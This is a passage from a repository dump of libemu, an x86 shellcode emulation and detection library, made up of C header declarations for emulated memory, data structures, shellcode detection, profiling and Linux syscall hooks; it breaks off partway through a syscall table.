USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#ifndef HAVE_EMU_MEMORY_H\n#define HAVE_EMU_MEMORY_H\n\n#include <inttypes.h>\n#include <sys/types.h>\n\nenum emu_segment {\n\ts_cs = 0, s_ss, s_ds, s_es, s_fs, s_gs\n};\n\nstruct emu;\nstruct emu_memory;\nstruct emu_string;\nstruct emu_breakpoint;\n\nstruct emu_memory *emu_memory_new(struct emu *e);\nvoid emu_memory_clear(struct emu_memory *em);\nvoid emu_memory_free(struct emu_memory *em);\n\n/* read access, these functions return -1 on error  */\nint32_t emu_memory_read_byte(struct emu_memory *m, uint32_t addr, uint8_t *byte);\nint32_t emu_memory_read_word(struct emu_memory *m, uint32_t addr, uint16_t *word);\nint32_t emu_memory_read_dword(struct emu_memory *m, uint32_t addr, uint32_t *dword);\nint32_t emu_memory_read_block(struct emu_memory *m, uint32_t addr, void *dest, size_t len);\nint32_t emu_memory_read_string(struct emu_memory *m, uint32_t addr, struct emu_string *s, uint32_t maxsize);\n\n/* write access */\nint32_t emu_memory_write_byte(struct emu_memory *m, uint32_t addr, uint8_t byte);\nint32_t emu_memory_write_word(struct emu_memory *m, uint32_t addr, uint16_t word);\nint32_t emu_memory_write_dword(struct emu_memory *m, uint32_t addr, uint32_t dword);\nint32_t emu_memory_write_block(struct emu_memory *m, uint32_t addr, const void *src, size_t len);\n\n/* segment selection */\nvoid emu_memory_segment_select(struct emu_memory *m, enum emu_segment s);\nenum emu_segment emu_memory_segment_get(struct emu_memory *m);\n\n/* alloc */\nint32_t emu_memory_alloc(struct emu_memory *m, uint32_t *addr, size_t len);\n/*int32_t emu_memory_alloc_at(struct emu_memory *m, uint32_t addr, size_t len);*/\n\n/* information */\nuint32_t emu_memory_get_usage(struct emu_memory *m);\n\nvoid emu_memory_mode_ro(struct emu_memory *m);\nvoid emu_memory_mode_rw(struct emu_memory *m);\n\nstruct emu_breakpoint *emu_memory_get_breakpoint(struct emu_memory *m);\nstruct emu *emu_memory_get_emu(struct emu_memory *m);\n\n\n#define MEM_BYTE_READ(cpu_p, addr, data_p) \\\n { int32_t ret = emu_memory_read_byte((cpu_p)->mem, addr, data_p); \\\n if( ret != 0 ) \\\n  return ret; }\n\n#define MEM_BYTE_WRITE(cpu_p, addr, data) \\\n { int32_t ret = emu_memory_write_byte((cpu_p)->mem, addr, data); \\\n if( ret != 0 ) \\\n  return ret; }\n\n#define MEM_WORD_READ(cpu_p, addr, data_p) \\\n { int32_t ret = emu_memory_read_word((cpu_p)->mem, addr, data_p); \\\n if( ret != 0 ) \\\n  return ret; }\n\n#define MEM_WORD_WRITE(cpu_p, addr, data) \\\n { uint16_t val; \\\n bcopy(&(data), &val, 2); \\\n int32_t ret = emu_memory_write_word((cpu_p)->mem, addr, val); \\\n if( ret != 0 ) \\\n  return ret; }\n\n#define MEM_DWORD_READ(cpu_p, addr, data_p) \\\n { int32_t ret = emu_memory_read_dword((cpu_p)->mem, addr, data_p); \\\n if( ret != 0 ) \\\n  return ret; }\n\n#define MEM_DWORD_WRITE(cpu_p, addr, data) \\\n { uint32_t val; \\\n bcopy(&(data), &val, 4); \\\n int32_t ret = emu_memory_write_dword((cpu_p)->mem, addr, val); \\\n if( ret != 0 ) \\\n  return ret; }\n\n\n#endif // HAVE_EMU_MEMORY_H\n"
  },
  {
    "path": "include/emu/emu_queue.h",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n\n#ifndef HAVE_EMU_QUEUE_H\n#define HAVE_EMU_QUEUE_H\n\n\nstruct emu_queue_item\n{\n\tstruct emu_queue_item *next;\n\tvoid *data;\n};\n\nstruct emu_queue_item *emu_queue_item_new(void);\nvoid emu_queue_item_free(struct emu_queue_item *eqi);\n\nstruct emu_queue\n{\n\tstruct emu_queue_item *front;\n\tstruct emu_queue_item *back;\n};\n\n/**\n * Create a new queue\n * \n * @return on success: pointer to the new queue\n *         on failure: NULL\n */\nstruct emu_queue *emu_queue_new(void);\nvoid emu_queue_free(struct emu_queue *eq);\n\n/**\n * Retrieve the pointer to the first element\n * \n * @param eq     the queue\n * \n * @return returns the pointer to the first element\n */\nvoid *emu_queue_front(struct emu_queue *eq);\n\n/**\n * Enqueue data into the queue.\n * \n * @param eq     the queue\n * @param data   the data to enqueue\n */\nvoid  emu_queue_enqueue(struct emu_queue *eq, void *data);\n\n/**\n * Dequeue the first element from the queue\n * \n * @param eq     the queue\n * \n * @return pointer to the data of the first element\n */\nvoid *emu_queue_dequeue(struct emu_queue *eq);\n\n/**\n * Check if the queue is empty\n * \n * @param eq     the queue\n * \n * @return true if the queue is empty, else false\n */\nbool  emu_queue_empty(struct emu_queue *eq);\n\n#endif\n"
  },
  {
    "path": "include/emu/emu_shellcode.h",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n\n#ifndef HAVE_EMU_SHELLCODE_H\n#define HAVE_EMU_SHELLCODE_H\n\n#include <stdint.h>\n\nstruct emu;\n\n/**\n * Tests a given buffer for possible shellcodes\n * \n * @param e      the emu\n * @param data   the buffer to test\n * @param size   the size of the buffer\n * \n * @return on success, the offset within the buffer where the shellcode is suspected\n *         on failure (no shellcode detected), -1\n */\nint32_t emu_shellcode_test(struct emu *e, uint8_t *data, uint16_t size);\n\n\nstruct emu_stats\n{\n\tuint32_t eip;\n\n\tstruct \n\t{\n\t\tuint32_t read_access;\n\t\tuint32_t write_access;\n\t} memory;\n\n\tstruct \n\t{\n\t\tuint32_t steps;\n\t}cpu;\n};\n\n\n\n\nstruct emu_stats *emu_stats_new(void);\nvoid emu_stats_free(struct emu_stats *es);\n\n\n#endif\n\n"
  },
  {
    "path": "include/emu/emu_source.h",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n\n#ifndef HAVE_EMU_SOURCE_H\n#define HAVE_EMU_SOURCE_H\n\nstruct emu_track_and_source;\nstruct emu_vertex;\n\n\n/**\n * Create the callgraph of the shellcode being stored in the emu memory.\n * \n * @param e         the emu\n * @param es        the emu_source_and_track struct which stores the graph\n * @param datastart where to start\n * @param datasize  where to stop\n * \n * @return \n */\nuint32_t emu_source_instruction_graph_create(struct emu *e, struct emu_track_and_source *es, uint32_t datastart, uint32_t datasize);\n\n\nvoid emu_source_forward_bfs(struct emu_track_and_source *et, struct emu_vertex *from);\nvoid emu_source_backward_bfs(struct emu_track_and_source *et, struct emu_vertex *ev);\n\n#endif\n"
  },
  {
    "path": "include/emu/emu_stack.h",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2008  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n\n#ifndef HAVE_EMU_STACK_H\n#define HAVE_EMU_STACK_H\n\nstruct emu_stack_item\n{\n\tstruct emu_stack_item *next;\n\tvoid *data;\n};\n\nstruct emu_stack\n{\n\tstruct emu_stack_item *front;\n\tstruct emu_stack_item *back;\n};\n\nstruct emu_stack *emu_stack_new(void);\nvoid emu_stack_free(struct emu_stack *es);\nvoid *emu_stack_front(struct emu_stack *es);\nvoid  emu_stack_push(struct emu_stack *es, void *data);\nvoid *emu_stack_pop(struct emu_stack *es);\nbool  emu_stack_empty(struct emu_stack *es);\n\n#endif\n"
  },
  {
    "path": "include/emu/emu_string.h",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#ifndef HAVE_EMU_STRING_H\n#define HAVE_EMU_STRING_H\n\n#include <inttypes.h>\n#include <sys/types.h>\n\n/**\n * The struct used for the string implementation.\n */\nstruct emu_string\n{\n    uint32_t    size;\n    void        *data;\n\tuint32_t\tallocated;\n\n};\n\n/**\n * Create a new, empty string.\n * \n * @return on success, pointer to the new and empty string, on failure NULL\n */\nstruct emu_string *emu_string_new(void);\n\n/**\n * Free the string, free the bytes which got allocated.\n * \n * @param s the string to free\n */\nvoid emu_string_free(struct emu_string *s);\n\n\n/**\n * cast the string to char *\n * \n * @param s      the string\n * \n * @return char * of the string\n */\nchar *emu_string_char(struct emu_string *s);\n\n/**\n * append the string by some data\n * \n * @param s      the string\n * @param data   the data to append\n */\nvoid emu_string_append_char(struct emu_string *s, const char *data);\n\n\n/**\n * append the string by some formatted string\n * \n * @param s      the string\n * @param format the format\n */\nvoid emu_string_append_format(struct emu_string *s, const char *format, ...);\n\n#endif\n\n\n"
  },
  {
    "path": "include/emu/emu_track.h",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n\n#ifndef HAVE_EMU_TRACK_H\n#define HAVE_EMU_TRACK_H\n\n#include <stdint.h>\n#include <stdbool.h>\n\nstruct emu;\nstruct emu_cpu;\nstruct emu_graph;\nstruct emu_instruction;\n\n\n\n/**\n * The emu_tracking_info struct is used within the\n * binary backwards traversal.\n * The required informations about which registers\n * need to get initialized are stored in the struct together with the\n * eip value where we need to start searching.\n * \n * @see emu_shellcode_run_and_track\n * @see emu_source_and_track_instr_info\n */\nstruct emu_tracking_info\n{\n\tuint32_t eip;\n\n\tuint32_t eflags;\n\tuint32_t reg[8];\n\n\tuint8_t fpu:1; // used to store the last_instruction information required for fnstenv\n};\n\n\n/**\n * The emu_source_and_track_instr_info struct stores the register/fpu\n * tracking information as well as the source information \n * for a instruction.\n * Additionally the disassembly of the instruction can be stored \n * for debugging purposes.\n * \n * @see emu_shellcode_run_and_track\n */\nstruct emu_source_and_track_instr_info\n{\n\tuint32_t eip;\n\tchar *instrstring;\n\n\tstruct \n\t{\n\t\tstruct emu_tracking_info init;\n\t\tstruct emu_tracking_info need;\n\t} track;\n\n\tstruct \n\t{\n\t\tuint8_t has_cond_pos : 1;\n\t\tuint32_t norm_pos;\n\t\tuint32_t cond_pos;\n\t} source;\n};\n\nstruct emu_source_and_track_instr_info *emu_source_and_track_instr_info_new(struct emu_cpu *cpu, uint32_t eip_before_instruction);\nvoid emu_source_and_track_instr_info_free(struct emu_source_and_track_instr_info *esantii);\nvoid emu_source_and_track_instr_info_free_void(void *x);\n\nbool emu_source_and_track_instr_info_cmp(void *a, void *b);\nuint32_t emu_source_and_track_instr_info_hash(void *key);\n\n\nstruct emu_track_and_source\n{\n\tstruct emu_tracking_info track;\n\n\tstruct emu_graph        *static_instr_graph;\n\tstruct emu_hashtable    *static_instr_table;\n\n\tstruct emu_graph        *run_instr_graph;\n\tstruct emu_hashtable    *run_instr_table;\n\n};\n\n\nstruct emu_track_and_source *emu_track_and_source_new(void);\nvoid emu_track_and_source_free(struct emu_track_and_source *et);\n\nint32_t emu_track_instruction_check(struct emu *e, struct emu_track_and_source *et);\n\n\n\nstruct emu_tracking_info *emu_tracking_info_new(void);\nvoid emu_tracking_info_free(struct emu_tracking_info *eti);\n\nvoid emu_tracking_info_clear(struct emu_tracking_info *eti);\n\n\n/**\n * Calculate the logic difference between two instruction_infos \n * and store the result.\n * \n * @param a\n * @param b\n * @param result\n */\nvoid emu_tracking_info_diff(struct emu_tracking_info *a, struct emu_tracking_info *b, struct emu_tracking_info *result);\n\nvoid emu_tracking_info_copy(struct emu_tracking_info *from, struct emu_tracking_info *to);\n\n/**\n * Check if a instruction can satisfy \n * the requirements of another instruction.\n * \n * @param a\n * @param b\n * \n * @return returns true if a covers the requirements of b\n *         else false\n */\nbool emu_tracking_info_covers(struct emu_tracking_info *a, struct emu_tracking_info *b);\n\nvoid emu_tracking_info_debug_print(struct emu_tracking_info *a);\n\n\n\n#endif\n"
  },
  {
    "path": "include/emu/environment/Makefile.am",
    "content": "# $Id$\n\nAUTOMAKE_OPTIONS = foreign\n\nSUBDIRS = win32 linux\n\n\nincludedir = $(prefix)/include/emu/environment\ninclude_HEADERS = emu_profile.h emu_env.h\n\n"
  },
  {
    "path": "include/emu/environment/emu_env.h",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2008  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\nstruct emu_env_linux;\nstruct emu_env_linux_syscall;\nstruct emu_env_w32;\nstruct emu_env_w32_dll_export;\n\n\n\n/*\ntypedef void *(*new_env)(struct emu *e);\ntypedef void (*free_env)(void *env);\ntypedef int32_t (*env_hook)(void *env, const char *syscallname,\n\t\t\t\t\t\t\tint (*userhook)(void *env, void *syscall, ...),\n\t\t\t\t\t\t\tvoid *userdata);\n\ntypedef int32_t (*env_pre_check)(void *env);\ntypedef int32_t (*env_post_check)(void *env);\n\n\nstruct env_helper\n{\n\tvoid *env;\n\tvoid *(*new_env)(struct emu *e);\n\tvoid (*free_env)(void *env);\n\n\tint32_t (*env_hook)(void *env, const char *syscallname,\n\t\t\t\t\t\tint (*userhook)(void *env, void *syscall, ...),\n\t\t\t\t\t\tvoid *userdata);\n\n\tint32_t (*env_pre_check)(void *env);\t\n\tint32_t (*env_post_check)(void *env);\n};\n\n\nstruct env_helper envs[] = \n{\n\t{\n\t\tNULL,\n\t\t(new_env)emu_env_w32_new,\n\t\t(free_env)emu_env_w32_free,\n\t\t(env_hook)NULL,\n\t\t(env_pre_check) NULL,\t\t\n\t\t(env_post_check) NULL\n\t},\n\t{\n\t\tNULL,\n\t\t(new_env)emu_env_linux_new,\n\t\t(free_env)emu_env_linux_free,\n\t\t(env_hook)emu_env_linux_syscall_hook,\n\t\t(env_pre_check) NULL,\t\t\n\t\t(env_post_check) NULL\n\t}\n};\n\n*/\n\nenum emu_env_type\n{\n\temu_env_type_win32,\n\temu_env_type_linux,\n};\n\nstruct emu_env_hook\n{\n\tenum emu_env_type type;\n\n\tunion \n\t{\n\t\tstruct emu_env_w32_dll_export *win;\n\t\tstruct emu_env_linux_syscall  *lin;\n\t} hook;\n};\n\nstruct emu_env\n{\n\tstruct\n\t{\n\t\tstruct emu_env_w32   *win;\n\t\tstruct emu_env_linux *lin;\n\t} env;\n\n\n\tstruct emu *emu;\n//\tstruct env_helper *envs;\n\tstruct emu_profile *profile;\n\tvoid *userdata;\n};\n\nstruct emu_env *emu_env_new(struct emu *e);\nvoid emu_env_free(struct emu_env *env);\n"
  },
  {
    "path": "include/emu/environment/emu_profile.h",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2008  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <sys/types.h>\n#include <sys/socket.h>\n#include <netinet/in.h>\n#include <arpa/inet.h>\n\n#include \"emu/emu_list.h\"\n#include \"emu/emu_stack.h\"\n\n#ifndef HAVE_EMU_PROFILE_H\n#define HAVE_EMU_PROFILE_H\n\n\nenum emu_profile_argument_render\n{\n\trender_none,\n\trender_ptr,\n\trender_int,\n\trender_short,\n\trender_struct,\n\trender_string,\n\trender_bytea,\n\trender_ip,\n\trender_port,\n\trender_array\n};\n\n\n\nheader_list_typedefs(emu_profile_argument_root,emu_profile_argument,emu_profile_argument_link);\n\nstruct emu_profile_argument\n{\n\tenum emu_profile_argument_render render;\n\n\tchar *argname;\n\tchar *argtype;\n\n\tunion\n\t{\n\t\tint32_t tint;\n\t\tint16_t tshort;\n\n\t\tchar *tchar;\n\n\t\tstruct \n\t\t{\n\t\t\tunsigned char *data;\n\t\t\tuint32_t size;\n\t\t} bytea;\n\n\t\tstruct \n\t\t{\n\t\t\temu_profile_argument_root *arguments;\n\t\t} tstruct;\n\n\t\tstruct\n\t\t{\n\t\t\tstruct emu_profile_argument *ptr;\n\t\t\tuint32_t addr;\n\t\t}tptr;\n\t} value;\n\n\temu_profile_argument_link link;\n};\n\nheader_list_functions(emu_profile_arguments,emu_profile_argument_root, emu_profile_argument, link);\n\nheader_list_typedefs(emu_profile_function_root,emu_profile_function,emu_profile_function_link);\nstruct emu_profile_function\n{\n\tenum emu_profile_argument_render retval;\n\tchar *fnname;\n\temu_profile_argument_root *arguments;\n\n\temu_profile_function_link link;\n\tstruct emu_profile_argument *return_value;\n};\nheader_list_functions(emu_profile_functions,emu_profile_function_root, emu_profile_function, link);\n\n\nstruct emu_profile\n{\n\n\temu_profile_function_root *functions;\n\tstruct emu_stack *argument_stack;\n\tstruct emu_profile_argument *last_ref;\n};\n\n\nstruct emu_profile *emu_profile_new(void);\nvoid emu_profile_free(struct emu_profile *profile);\n\n\nstruct emu_profile_function *emu_profile_function_new(void);\nvoid emu_profile_function_free(struct emu_profile_function *function);\n\n\nstruct emu_profile_argument *emu_profile_argument_new(enum emu_profile_argument_render render, const char *type, const char *name);\nvoid emu_profile_argument_free(struct emu_profile_argument *argument);\n\n\n\nvoid emu_profile_debug(struct emu_profile *profile);\n\nint emu_profile_dump(struct emu_profile *profile, const char *path);\nint emu_profile_parse(struct emu_profile *profile, const char *path);\n\nvoid emu_profile_function_debug(struct emu_profile_function *function);\n\nvoid emu_profile_argument_debug(struct emu_profile_argument *argument, int indent);\n\nvoid emu_profile_argument_add_none(struct emu_profile *profile);\nvoid emu_profile_argument_add_int(struct emu_profile *profile, char *argtype, char *argname, int32_t value);\nvoid emu_profile_argument_add_short(struct emu_profile *profile, char *argtype, char *argname, int16_t value);\nvoid emu_profile_argument_add_string(struct emu_profile *profile, char *argtype,  char *argname, char *value);\nvoid emu_profile_argument_add_ptr(struct emu_profile *profile,\tchar *argtype,  char *argname, uint32_t value);\nvoid emu_profile_argument_add_ip(struct emu_profile *profile, char *argtype,  char *argname, uint32_t value);\nvoid emu_profile_argument_add_port(struct emu_profile *profile,\tchar *argtype,  char *argname, uint32_t value);\nvoid emu_profile_argument_add_bytea(struct emu_profile *profile, char *argtype, char *argname, unsigned char *data, uint32_t size);\nvoid emu_profile_argument_array_start(struct emu_profile* profile, const char* arraytype, const char* arrayname);\nvoid emu_profile_argument_array_end(struct emu_profile *profile);\n\n\nvoid emu_profile_function_add(struct emu_profile *profile, char *fnname);\nvoid emu_profile_argument_struct_start(struct emu_profile* profile, const char* structtype, const char* structname);\nvoid emu_profile_argument_struct_end(struct emu_profile *profile);\n\nvoid emu_profile_function_returnvalue_int_set(struct emu_profile *profile, const char *type, int value);\nvoid emu_profile_function_returnvalue_ptr_set(struct emu_profile *profile, const char *type, int value);\n\n\nvoid *emu_profile_function_argument_get(struct emu_profile_function *function, int argc);\n\nvoid emu_profile_argument_add_sockaddr_ptr(struct emu_profile *profile, const char *name, uint32_t ptr, struct sockaddr sa);\n\n#endif                                                                                              \n\n"
  },
  {
    "path": "include/emu/environment/linux/Makefile.am",
    "content": "# $Id$\n\nincludedir = $(prefix)/include/emu/environment/linux\n\ninclude_HEADERS = emu_env_linux.h\ninclude_HEADERS += env_linux_syscalls.h\ninclude_HEADERS += env_linux_syscall_hooks.h\n\n"
  },
  {
    "path": "include/emu/environment/linux/emu_env_linux.h",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#ifndef HAVE_EMU_ENV_LINUX_H\n#define HAVE_EMU_ENV_LINUX_H\n\n#include <stdlib.h>\n#include <string.h>\n#include <errno.h>\n\n#include \"emu/emu.h\"\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_cpu_data.h\"\n#include \"emu/emu_memory.h\"\n#include \"emu/emu_hashtable.h\"\n\nstruct emu_profile;\nstruct emu_env;\n\nstruct emu_env_linux\n{\n\tstruct emu *emu;\n\tstruct emu_hashtable *syscall_hooks_by_name;\n\tstruct emu_env_linux_syscall *syscall_hookx;\n\tstruct emu_env_hook *hooks;\n//\tstruct emu_profile *profile;\n};\n\nstruct emu_env_linux *emu_env_linux_new(struct emu *e);\nvoid emu_env_linux_free(struct emu_env_linux *eel);\n\nstruct emu_env_hook *emu_env_linux_syscall_check(struct emu_env *env);\n\n\nstruct emu_env_linux_syscall_entry\n{\n\tconst char *name;\n\tconst char *(*fnhook)(struct emu_env_linux *env);\n};\n\n\ntypedef uint32_t (*userhook)(struct emu_env_linux *env, struct emu_env_linux_syscall *syscall, ...);\n\nstruct emu_env_linux_syscall\n{\n\tconst char *name;\n\tint32_t\t\t(*fnhook)(struct emu_env *env, struct emu_env_hook *hook);\n\tvoid *userdata;\n\tuint32_t (*userhook)(struct emu_env *env, struct emu_env_hook *hook, ...);\n};\n\nint32_t emu_env_linux_syscall_hook(struct emu_env *env, const char *syscallname,\n\t\t\t\t\t\t\t\t   uint32_t (*userhook)(struct emu_env *env, struct emu_env_hook *hook, ...),\n\t\t\t\t\t\t\t\t   void *userdata);\n\nconst char *env_linux_socketcall(struct emu_env_linux *env);\n\n#endif\n"
  },
  {
    "path": "include/emu/environment/linux/env_linux_syscall_hooks.h",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n/* 1 exit */\nint32_t env_linux_hook_exit(struct emu_env *env, struct emu_env_hook *hook);\n\n/* 2 fork */\nint32_t env_linux_hook_fork(struct emu_env *env, struct emu_env_hook *hook);\n\n/* 11 execve */\nint32_t env_linux_hook_execve(struct emu_env *env, struct emu_env_hook *hook);\n\n/* 15 chmod */\nint32_t env_linux_hook_chmod(struct emu_env *env, struct emu_env_hook *hook);\n\n/* 63 dup2 */\nint32_t env_linux_hook_dup2(struct emu_env *env, struct emu_env_hook *hook);\n\n/* 102 socketcall */\n/*\n\taccept\n\tbind\n\tconnect\n\tgetpeername - missing \n\tgetsockname - missing\n\tgetsockopt - missing\n\tlisten\n\trecv       - missing\n\trecvfrom   - missing\n\trecvmsg    - missing\n\tsend       - missing\n\tsendmsg    - missing\n\tsendto     - missing\n\tsetsockopt - missing\n\tshutdown   - missing\n\tsocket     \n\tsocketpair - missing\n*/\nint32_t\tenv_linux_hook_socketcall(struct emu_env *env, struct emu_env_hook *hook);\n\n\n\n\n\n"
  },
  {
    "path": "include/emu/environment/linux/env_linux_syscalls.h",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n\n#include \"emu/environment/linux/emu_env_linux.h\"\n#include \"emu/environment/linux/env_linux_syscall_hooks.h\"\n\nstruct emu_env_linux_syscall_entry env_linux_syscalls[] = \n{\n/* 0*/   { NULL                         , NULL}, \n/* 1*/   { \"exit\"                       , NULL}, \n/* 2*/   { \"fork\"                       , NULL}, \n/* 3*/   { \"read\"                       , NULL}, \n/* 4*/   { \"write\"                      , NULL}, \n/* 5*/   { \"open\"                       , NULL}, \n/* 6*/   { \"close\"                      , NULL}, \n/* 7*/   { \"waitpid\"                    , NULL}, \n/* 8*/   { 